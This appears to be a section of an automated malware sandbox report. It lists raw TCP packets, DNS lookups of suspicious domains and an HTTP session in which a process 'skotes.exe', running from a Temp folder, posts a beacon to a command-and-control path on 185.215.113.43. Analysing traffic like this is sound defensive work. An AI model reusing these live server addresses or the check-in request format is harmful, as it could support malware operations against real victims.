Dec 19, 2024 08:09:39.359847069 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.362674952 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.362723112 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.362759113 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.362797976 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.376542091 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.376678944 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.376693010 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.376760960 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.377830029 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.377907038 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.377922058 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.377979040 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.380358934 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.380433083 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.380484104 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.380541086 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.382740974 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.382843971 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.382899046 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.382963896 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.385220051 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.385304928 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.385550022 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.385624886 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.387713909 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.387794971 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.387814045 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.387872934 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.390117884 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.390196085 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.390233040 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.390301943 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.392458916 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.392532110 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.392575026 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.392644882 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.394829988 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.394891024 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.394936085 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.394979954 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.397161007 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.397208929 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.397254944 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.397300959 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.399430990 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.399473906 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.399525881 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.399563074 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.401721001 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.401741028 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.401777029 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.401799917 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.403928995 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.403987885 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.404031038 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.404067993 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.404629946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.404746056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.404793024 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.405210018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.405311108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.405349970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.406162024 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.406203985 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.406248093 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.406263113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.406282902 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.406302929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.406352043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.407288074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.407401085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.407442093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.408345938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.408421040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.408435106 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.408459902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.408477068 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.408499002 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.408533096 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.409434080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.409512997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.409554005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.410432100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.410542965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.410583019 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.410682917 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.410696983 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.410722971 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.410749912 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.411529064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.411639929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.411679029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.412543058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.412656069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.412693024 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.412956953 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.412997007 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.413049936 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.413084984 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.413614988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.413742065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.413779020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.414639950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.414757967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.414800882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.415132046 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.415172100 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.415229082 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.415266037 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.415714025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.415832043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.415874004 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.416775942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.416893005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.416930914 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.417393923 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.417433977 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.417510986 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.417546988 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.417859077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.417952061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.417990923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.418872118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.418992996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.419029951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.419634104 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.419675112 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.419723988 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.419761896 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.419910908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.420006037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.420043945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.421161890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.421176910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.421214104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.421974897 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.422014952 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.422183990 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.422198057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.422225952 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.422255993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.422296047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.423094988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.423332930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.423372984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.424137115 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.424176931 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.424199104 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.424215078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.424235106 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.424328089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.424366951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.425206900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.425297022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.425337076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.426259041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.426397085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.426413059 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.426435947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.426450014 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.426455021 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.426489115 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.427371979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.427419901 CET	80	49862	194.87.47.113	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:09:20.159140110 CET	192.168.2.6	1.1.1.1	0x9218	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:20.159208059 CET	192.168.2.6	1.1.1.1	0xd334	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 08:09:24.546499014 CET	192.168.2.6	1.1.1.1	0xca6a	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:24.546648026 CET	192.168.2.6	1.1.1.1	0xca4a	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:09:28.923243999 CET	192.168.2.6	1.1.1.1	0x83ae	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:28.923532963 CET	192.168.2.6	1.1.1.1	0x66e2	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:09:55.087158918 CET	192.168.2.6	1.1.1.1	0xb9b	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:55.087277889 CET	192.168.2.6	1.1.1.1	0x1ef6	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:09:58.210148096 CET	192.168.2.6	1.1.1.1	0xfb0e	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:58.210282087 CET	192.168.2.6	1.1.1.1	0xe04c	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:10:03.168848038 CET	192.168.2.6	1.1.1.1	0x78a4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:03.169039011 CET	192.168.2.6	1.1.1.1	0x9e38	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 08:10:06.805171967 CET	192.168.2.6	1.1.1.1	0x16d	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:06.805289984 CET	192.168.2.6	1.1.1.1	0x3d31	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:10:09.799520016 CET	192.168.2.6	1.1.1.1	0x3958	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:09.799674034 CET	192.168.2.6	1.1.1.1	0x4906	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:11:45.101458073 CET	192.168.2.6	1.1.1.1	0x4633	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.117971897 CET	192.168.2.6	1.1.1.1	0xa499	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.243819952 CET	192.168.2.6	1.1.1.1	0xfac4	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.385078907 CET	192.168.2.6	1.1.1.1	0xad92	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Dec 19, 2024 08:11:45.439830065 CET	192.168.2.6	1.1.1.1	0xa499	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.445874929 CET	192.168.2.6	1.1.1.1	0xd3de	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.652329922 CET	192.168.2.6	1.1.1.1	0x28c3	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Dec 19, 2024 08:15:15.186691999 CET	192.168.2.6	1.1.1.1	0x65a	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:16.370080948 CET	192.168.2.6	1.1.1.1	0xd9ff	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:16.370080948 CET	192.168.2.6	1.1.1.1	0x4946	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 08:16:19.787698984 CET	192.168.2.6	1.1.1.1	0xdedd	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:19.787760019 CET	192.168.2.6	1.1.1.1	0xade2	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 08:16:23.249124050 CET	192.168.2.6	1.1.1.1	0xfaed	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:23.249411106 CET	192.168.2.6	1.1.1.1	0x7977	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 08:16:48.911900997 CET	192.168.2.6	1.1.1.1	0x1e12	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:48.912025928 CET	192.168.2.6	1.1.1.1	0x5a2c	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 08:16:53.180737019 CET	192.168.2.6	1.1.1.1	0xb61e	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:53.180846930 CET	192.168.2.6	1.1.1.1	0xef52	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 08:17:33.352142096 CET	192.168.2.6	1.1.1.1	0x1298	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:17:33.352281094 CET	192.168.2.6	1.1.1.1	0xf156	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:08:27.616059065 CET	1.1.1.1	192.168.2.6	0x8e98	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:08:27.616059065 CET	1.1.1.1	192.168.2.6	0x8e98	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:20.456907034 CET	1.1.1.1	192.168.2.6	0x9218	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:20.456907034 CET	1.1.1.1	192.168.2.6	0x9218	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:24.686573982 CET	1.1.1.1	192.168.2.6	0xca6a	No error (0)	home.twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:29.062218904 CET	1.1.1.1	192.168.2.6	0x83ae	No error (0)	home.twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:44.377644062 CET	1.1.1.1	192.168.2.6	0xcafb	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:55.226212978 CET	1.1.1.1	192.168.2.6	0xb9b	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:09:58.351787090 CET	1.1.1.1	192.168.2.6	0xfb0e	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:03.309829950 CET	1.1.1.1	192.168.2.6	0x78a4	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:03.313697100 CET	1.1.1.1	192.168.2.6	0x9e38	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 08:10:03.797333956 CET	1.1.1.1	192.168.2.6	0x7839	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:06.945532084 CET	1.1.1.1	192.168.2.6	0x16d	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:09.941528082 CET	1.1.1.1	192.168.2.6	0x3958	No error (0)	home.twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:10:41.383723021 CET	1.1.1.1	192.168.2.6	0x393d	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.241466999 CET	1.1.1.1	192.168.2.6	0x4633	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.241466999 CET	1.1.1.1	192.168.2.6	0x4633	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.241466999 CET	1.1.1.1	192.168.2.6	0x4633	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.241466999 CET	1.1.1.1	192.168.2.6	0x4633	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.383553028 CET	1.1.1.1	192.168.2.6	0xfac4	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.383553028 CET	1.1.1.1	192.168.2.6	0xfac4	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.383553028 CET	1.1.1.1	192.168.2.6	0xfac4	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.383553028 CET	1.1.1.1	192.168.2.6	0xfac4	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.444459915 CET	1.1.1.1	192.168.2.6	0xa499	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:11:45.444459915 CET	1.1.1.1	192.168.2.6	0xa499	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.527160883 CET	1.1.1.1	192.168.2.6	0xad92	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 19, 2024 08:11:45.527160883 CET	1.1.1.1	192.168.2.6	0xad92	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 19, 2024 08:11:45.527160883 CET	1.1.1.1	192.168.2.6	0xad92	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 19, 2024 08:11:45.527160883 CET	1.1.1.1	192.168.2.6	0xad92	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 19, 2024 08:11:45.579384089 CET	1.1.1.1	192.168.2.6	0xa499	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:11:45.579384089 CET	1.1.1.1	192.168.2.6	0xa499	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:45.650854111 CET	1.1.1.1	192.168.2.6	0xd3de	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:11:48.363512993 CET	1.1.1.1	192.168.2.6	0x7e07	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:11:48.363512993 CET	1.1.1.1	192.168.2.6	0x7e07	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:15:15.499969006 CET	1.1.1.1	192.168.2.6	0x65a	No error (0)	cheapptaxysu.click		172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:15:15.499969006 CET	1.1.1.1	192.168.2.6	0x65a	No error (0)	cheapptaxysu.click		104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:16.509054899 CET	1.1.1.1	192.168.2.6	0xd9ff	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:16.509054899 CET	1.1.1.1	192.168.2.6	0xd9ff	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:20.093029976 CET	1.1.1.1	192.168.2.6	0xdedd	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:23.392018080 CET	1.1.1.1	192.168.2.6	0xfaed	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:49.323905945 CET	1.1.1.1	192.168.2.6	0x1e12	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:16:53.321136951 CET	1.1.1.1	192.168.2.6	0xb61e	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:17:33.491406918 CET	1.1.1.1	192.168.2.6	0x1298	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:17:33.491534948 CET	1.1.1.1	192.168.2.6	0xf156	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49779	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:04.019136906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:09:05.743799925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49798	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
